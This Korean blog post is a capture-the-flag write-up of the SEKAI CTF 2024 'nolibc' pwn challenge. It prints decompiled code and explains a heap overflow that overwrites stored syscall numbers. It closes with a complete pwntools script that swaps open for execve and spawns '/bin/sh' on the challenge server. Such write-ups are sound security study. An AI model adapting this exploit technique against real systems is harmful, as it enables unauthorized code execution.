ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

SEKAI CTF 2024 (Pwn) - nolibc
CTF

SEKAI CTF 2024 (Pwn) - nolibc

2024. 8. 26. 21:29

분석에 시간을 많이 썼던 문제
(심볼 없고 함수가 너무 많았던..)
 
라이브러리 없이 사용자 정의 함수로 굴러가는 바이너리다.
적당히 rename하면서 분석을 수행한다.
 
 

void __noreturn start()
{
  int menu_num; // [rsp+8h] [rbp-8h]
  int num; // [rsp+Ch] [rbp-4h]

  init();
  while ( 1 )
  {
    write("Welcome to String Storage!");
    write("Please login or register an account to continue :)");
    write(&null);
    while ( user_idx == 0xFFFFFFFF )
    {
      write("1. Login");
      write("2. Register");
      write("3. Exit");
      printf("Choose an option: ");
      menu_num = get_num();
      write(&null);
      switch ( menu_num )
      {
        case 1:
          Login();
          break;
        case 2:
          Register();
          break;
        case 3:
          Exit();
          break;
        default:
          write("Invalid option");
          break;
      }
      write(&null);
    }
    printf("Welcome to String Storage, ");
    printf(user_list[user_idx]->username);
    write("!");
    write(&null);
    while ( 1 )
    {
      write("1. Add string");
      write("2. Delete string");
      write("3. View strings");
      write("4. Save to File");
      write("5. Load from File");
      write("6. Logout");
      printf("Choose an option: ");
      num = get_num();
      write(&null);
      switch ( num )
      {
        case 1:
          add_string();
          goto LABEL_26;
        case 2:
          delete_string();
          goto LABEL_26;
        case 3:
          veiw_string();
          goto LABEL_26;
        case 4:
          save_to_file();
          goto LABEL_26;
        case 5:
          load_from_file();
          goto LABEL_26;
      }
      if ( num == 6 )
        break;
      write("Invalid option");
LABEL_26:
      write(&null);
    }
    user_idx = 0xFFFFFFFF;
  }
}
int *Login()
{
  int *password; // [rsp+8h] [rbp-18h]
  int *username; // [rsp+10h] [rbp-10h]
  int i; // [rsp+1Ch] [rbp-4h]

  printf("Username: ");
  username = allocate(0x40);
  if ( username )
  {
    read(username, 0x40);
    if ( strlen(username) )
    {
      printf("Password: ");
      password = allocate(0x40);
      if ( password )
      {
        read(password, 0x40);
        if ( strlen(password) )
        {
          if ( user_count )
          {
            for ( i = 0; i < user_count; ++i )
            {
              if ( auth(user_list[i]->username, username) && auth(user_list[i]->password, password) )
                user_idx = i;
            }
            if ( user_idx == 0xFFFFFFFF )
              write("Invalid username or password");
            else
              write("Logged in successfully!");
            heap_management1(username);
            return heap_management1(password);
          }
          else
          {
            return write("No users registered");
          }
        }
        else
        {
          write("Invalid password");
          heap_management1(password);
          return Login();
        }
      }
      else
      {
        write("Invalid password");
        heap_management1(0LL);
        return Login();
      }
    }
    else
    {
      write("Invalid username");
      heap_management1(username);
      return Login();
    }
  }
  else
  {
    write("Invalid username");
    heap_management1(0LL);
    return Login();
  }
}
__int64 Register()
{
  user_info_st *user_info; // [rsp+8h] [rbp-18h]
  char *password; // [rsp+10h] [rbp-10h]
  char *username; // [rsp+18h] [rbp-8h]

  if ( user_count > 0 )
    return write("You can only register one account!");
  printf("Username: ");
  username = allocate(0x20);
  if ( username )
  {
    read(username, 0x20);
    if ( strlen(username) )
    {
      printf("Password: ");
      password = allocate(0x20);
      if ( password )
      {
        read(password, 0x20);
        if ( strlen(password) )
        {
          user_info = allocate(0x4010);
          user_info->username = username;
          user_info->password = password;
          user_info->str_count = 0;
          user_list[user_count++] = user_info;
          return write("User registered successfully!");
        }
        else
        {
          write("Invalid password");
          heap_management1(password);
          return Register();
        }
      }
      else
      {
        write("Invalid password");
        heap_management1(0LL);
        return Register();
      }
    }
    else
    {
      write("Invalid username");
      heap_management1(username);
      return Register();
    }
  }
  else
  {
    write("Invalid username");
    heap_management1(0LL);
    return Register();
  }
}
__int64 Exit()
{
  __int64 result; // rax

  result = exit_syscall;
  __asm { syscall; LINUX - }
  return result;
}
__int64 add_string()
{
  char *string_buffer; // [rsp+0h] [rbp-10h]
  int num; // [rsp+Ch] [rbp-4h]

  if ( user_list[user_idx]->str_count > 0x7FE )
    return write("You have reached the maximum number of strings");
  printf("Enter string length: ");
  num = get_num();
  if ( num > 0 && num <= 0x100 )
  {
    printf("Enter a string: ");
    string_buffer = allocate(num + 1);
    if ( !string_buffer )
    {
      write("Failed to allocate memory");
      write(&null);
      Exit();
    }
    read(string_buffer, num + 1);
    user_list[user_idx]->string_ptr_array[user_list[user_idx]->str_count++] = string_buffer;
    return write("String added successfully!");
  }
  else
  {
    write("Invalid length");
    return write(&null);
  }
}
__int64 delete_string()
{
  int num; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  if ( user_list[user_idx]->str_count )
  {
    printf("Enter the index of the string to delete: ");
    num = get_num();
    if ( num >= 0 && num < user_list[user_idx]->str_count )
    {
      heap_management1(user_list[user_idx]->string_ptr_array[num]);
      for ( i = num; i < user_list[user_idx]->str_count - 1; ++i )
        user_list[user_idx]->string_ptr_array[i] = user_list[user_idx]->string_ptr_array[i + 1];
      --user_list[user_idx]->str_count;
      return write("String deleted successfully!");
    }
    else
    {
      write("Invalid index");
      return write(&null);
    }
  }
  else
  {
    write("No strings to delete");
    return write(&null);
  }
}
__int64 veiw_string()
{
  __int64 result; // rax
  int i; // [rsp+Ch] [rbp-4h]

  if ( user_list[user_idx]->str_count )
  {
    for ( i = 0; ; ++i )
    {
      result = user_list[user_idx]->str_count;
      if ( i >= result )
        break;
      printf("String ");
      maybe_counter(i);
      printf(": ");
      write(user_list[user_idx]->string_ptr_array[i]);
    }
  }
  else
  {
    write("No strings to view");
    return write(&null);
  }
  return result;
}
chunk_st *save_to_file()
{
  int v1; // [rsp+8h] [rbp-28h]
  char *file_buffer; // [rsp+10h] [rbp-20h]
  char *filename; // [rsp+18h] [rbp-18h]
  int j; // [rsp+24h] [rbp-Ch]
  int i; // [rsp+28h] [rbp-8h]
  int v6; // [rsp+2Ch] [rbp-4h]

  printf("Enter the filename: ");
  filename = allocate(0x20);
  if ( filename && (read(filename, 0x20), strlen(filename)) && !strcmp(filename, "flag") )
  {
    file_buffer = allocate(0x7FFF);
    if ( !file_buffer )
    {
      write("Failed to allocate memory");
      write(&null);
      Exit();
    }
    v6 = 0;
    for ( i = 0; i < user_list[user_idx]->str_count; ++i )
    {
      v1 = strlen(user_list[user_idx]->string_ptr_array[i]);
      for ( j = 0; j < v1; ++j )
        file_buffer[v6++] = *(user_list[user_idx]->string_ptr_array[i] + j);
      file_buffer[v6++] = 0xA;
    }
    if ( file_write() >= 0 )
    {
      write("Strings saved to file successfully!");
      return heap_management1(file_buffer);
    }
    else
    {
      write("Failed to write file");
      return write(&null);
    }
  }
  else
  {
    write("Invalid filename");
    return write(&null);
  }
}
chunk_st *load_from_file()
{
  char *v1; // [rsp+0h] [rbp-30h]
  int v2; // [rsp+Ch] [rbp-24h]
  char *file_buffer; // [rsp+10h] [rbp-20h]
  char *filename; // [rsp+18h] [rbp-18h]
  int i; // [rsp+20h] [rbp-10h]
  int v6; // [rsp+24h] [rbp-Ch]
  int v7; // [rsp+28h] [rbp-8h]
  int v8; // [rsp+2Ch] [rbp-4h]

  printf("Enter the filename: ");
  filename = allocate(0x20);
  if ( filename && (read(filename, 0x20), strlen(filename)) && !strcmp(filename, "flag") )
  {
    file_buffer = allocate(0x7FFF);
    if ( !file_buffer )
    {
      write("Failed to allocate memory");
      write(&null);
      Exit();
    }
    v2 = file_read();
    if ( v2 >= 0 )
    {
      v8 = 0;
      v7 = 0;
      while ( v8 < v2 )
      {
        v6 = 0;
        while ( file_buffer[v8] != 0xA )
        {
          ++v6;
          ++v8;
        }
        v1 = allocate(v6 + 1);
        if ( !v1 )
        {
          write("Failed to allocate memory");
          write(&null);
          Exit();
        }
        for ( i = 0; i < v6; ++i )
          v1[i] = file_buffer[v7++];
        v1[v6] = 0;
        user_list[user_idx]->string_ptr_array[user_list[user_idx]->str_count++] = v1;
        ++v8;
        ++v7;
      }
      write("Strings loaded from file successfully!");
      return heap_management1(file_buffer);
    }
    else
    {
      write("Failed to read file");
      return write(&null);
    }
  }
  else
  {
    write("Invalid filename");
    return write(&null);
  }
}

 
유틸 함수들은 다음과 같다.

__int64 __fastcall sub_15F4(__int64 a1, signed int a2)
{
  char v3; // [rsp+1Bh] [rbp-31h] BYREF
  __int64 v4; // [rsp+1Ch] [rbp-30h]
  __int64 v5; // [rsp+24h] [rbp-28h]
  char *v6; // [rsp+2Ch] [rbp-20h]
  __int64 v7; // [rsp+34h] [rbp-18h]
  __int64 v8; // [rsp+3Ch] [rbp-10h]
  unsigned int i; // [rsp+48h] [rbp-4h]

  for ( i = 0; i < a2; ++i )
  {
    v8 = read_syscall;
    v7 = 0LL;
    v6 = &v3;
    v5 = 1LL;
    __asm { syscall; LINUX - }
    v4 = read_syscall;
    if ( v3 == 0xA )
    {
      *(i + a1) = 0;
      return i;
    }
    *(a1 + i) = v3;
  }
  return i;
}
__int64 __fastcall write(unsigned __int8 *a1)
{
  __int64 result; // rax

  printf(a1);
  result = write_syscall;
  __asm { syscall; LINUX - }
  return result;
}
__int64 __fastcall printf(unsigned __int8 *a1)
{
  __int64 result; // rax

  while ( 1 )
  {
    result = *a1;
    if ( !result )
      break;
    __asm { syscall; LINUX - }
    ++a1;
  }
  return result;
}
char *__fastcall allocate(int req_size)
{
  chunk_st *next_chunk; // [rsp+4h] [rbp-20h]
  int size; // [rsp+10h] [rbp-14h]
  chunk_st *allocate_addr_1; // [rsp+14h] [rbp-10h]
  chunk_st *allocate_addr; // [rsp+1Ch] [rbp-8h]

  if ( !req_size )
    return 0LL;
  size = (req_size + 0xF) & 0xFFFFFFF0;
  allocate_addr = next_allocate_addr;
  allocate_addr_1 = 0LL;
  while ( 1 )
  {
    if ( !allocate_addr )
      return 0LL;
    if ( size <= allocate_addr->size )
      break;
    allocate_addr_1 = allocate_addr;
    allocate_addr = allocate_addr->next;
  }
  if ( allocate_addr->size >= (size + 0x10LL) )
  {
    next_chunk = &allocate_addr->data[size];
    next_chunk->size = allocate_addr->size - size - 0x10;
    next_chunk->next = allocate_addr->next;
    allocate_addr->next = next_chunk;
    allocate_addr->size = size;
  }
  if ( allocate_addr_1 )
    allocate_addr_1->next = allocate_addr->next;
  else
    next_allocate_addr = allocate_addr->next;
  return allocate_addr->data;
}
chunk_st *__fastcall heap_management1(chunk_st *check_chunk_data)
{
  chunk_st *result; // rax
  chunk_st *check_chunk; // [rsp+18h] [rbp-18h]
  chunk_st *next_allocate_addr_2; // [rsp+20h] [rbp-10h]
  chunk_st *next_allocate_addr_1; // [rsp+28h] [rbp-8h]

  if ( check_chunk_data )
  {
    result = heap1;
    if ( check_chunk_data >= heap1 )
    {
      result = &read_syscall;
      // heap overflow check
      if ( check_chunk_data < &read_syscall )
      {
        check_chunk = check_chunk_data + 0xFFFFFFFF;
        next_allocate_addr_1 = next_allocate_addr;
        next_allocate_addr_2 = 0LL;
        while ( next_allocate_addr_1 && next_allocate_addr_1 < check_chunk )
        {
          next_allocate_addr_2 = next_allocate_addr_1;
          next_allocate_addr_1 = next_allocate_addr_1->next;
        }
        if ( next_allocate_addr_2 )
        {
          check_chunk->next = next_allocate_addr_2->next;
          next_allocate_addr_2->next = check_chunk;
        }
        else
        {
          check_chunk->next = next_allocate_addr;
          next_allocate_addr = CONTAINING_RECORD(check_chunk_data, chunk_st, data);
        }
        return heap_managemen2();
      }
    }
  }
  return result;
}
chunk_st *heap_managemen2()
{
  chunk_st *next_allocate_addr_0; // rax
  int v1; // [rsp+0h] [rbp-Ch]
  chunk_st *next_allocate_addr_1; // [rsp+4h] [rbp-8h]

  next_allocate_addr_0 = next_allocate_addr;
  next_allocate_addr_1 = next_allocate_addr;
  while ( next_allocate_addr_1 )
  {
    next_allocate_addr_0 = next_allocate_addr_1->next;
    if ( !next_allocate_addr_0 )
      break;
    if ( &next_allocate_addr_1->data[next_allocate_addr_1->size] == next_allocate_addr_1->next )
    {
      next_allocate_addr_1->size += next_allocate_addr_1->next->size + 0x10;
      next_allocate_addr_0 = next_allocate_addr_1;
      next_allocate_addr_1->next = next_allocate_addr_1->next->next;
    }
    else
    {
      next_allocate_addr_0 = next_allocate_addr_1->next;
      next_allocate_addr_1 = next_allocate_addr_0;
    }
  }
  if ( next_allocate_addr_1 )
  {
    v1 = heap2 - (next_allocate_addr_1 - heap1);
    next_allocate_addr_0 = next_allocate_addr_1->size;
    if ( v1 > next_allocate_addr_0 )
    {
      next_allocate_addr_0 = next_allocate_addr_1;
      next_allocate_addr_1->size = v1 - 0x10;
    }
  }
  return next_allocate_addr_0;
}

 
함수들이 많아서 분석이 약간 복잡하지만 취약점 자체는 간단하게 터진다.
계속 할당을 받다보면 heap2 뒤로 syscall 번호가 저장된 부분까지 오버플로우가 발생한다.


open_syscall을 execve_syscall로 바꿔주면
파일을 open할 때 파일 이름을 "/bin/sh"로 설정하면 쉘을 얻을 수 있다.
save_to_file가 아닌 load_from_file를 써야하는데 쓰기 권한 문제인 것 같다

from pwn import *

def login(id,pw):
	p.sendlineafter(b'option:',b'1')
	p.sendlineafter(b'Username:',id)
	p.sendlineafter(b'Password:',pw)

def register(id,pw):
	p.sendlineafter(b'option:',b'2')
	p.sendlineafter(b'Username:',id)
	p.sendlineafter(b'Password:',pw)

def exit(id,pw):
	p.sendlineafter(b'option:',b'3')

def add_string(size,data):	
	p.sendlineafter(b'option:',b'1')
	p.sendlineafter(b'length:',str(size).encode())
	p.sendlineafter(b'string:',data)

def delete_string(idx):
	p.sendlineafter(b'option:',b'2')
	p.sendlineafter(b'delete:',str(idx).encode())

def view_string():
	p.sendlineafter(b'option:',b'3')

def save_to_file(filename):
	p.sendlineafter(b'option:',b'4')
	p.sendlineafter(b'filename:',filename)

def load_from_file(filename):
	p.sendlineafter(b'option:',b'5')
	p.sendlineafter(b'filename:',filename)

def logout():
	p.sendlineafter(b'option:',b'6')

context.log_level = 'debug'
# p = process('./main')
p = remote('nolibc.chals.sekai.team', 1337, ssl=True)

register(b'ssongk',b'ssongk')
login(b'ssongk',b'ssongk')

for _ in range(170):
	add_string(0x100,b'add_string')

add_string(0x3F,b'a'*0x30+p32(0)+p32(1)+p32(0x3b))

for i in range(100):
	delete_string(i)

load_from_file(b'/bin/sh')

p.interactive()

'CTF' 카테고리의 다른 글

CSAW CTF 2024 Quals (Pwn)  (0) 2024.09.15
DeadSec CTF 2024 (Pwn)  (0) 2024.07.28
ImaginaryCTF 2024 (Pwn)  (5) 2024.07.22
DownUnderCTF 2024 (Pwn)  (0) 2024.07.08
[hxpCTF 2020] kernel-rop (with write-up) (2)  (0) 2024.06.30
    'CTF' 카테고리의 다른 글
    • CSAW CTF 2024 Quals (Pwn)
    • DeadSec CTF 2024 (Pwn)
    • ImaginaryCTF 2024 (Pwn)
    • DownUnderCTF 2024 (Pwn)
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바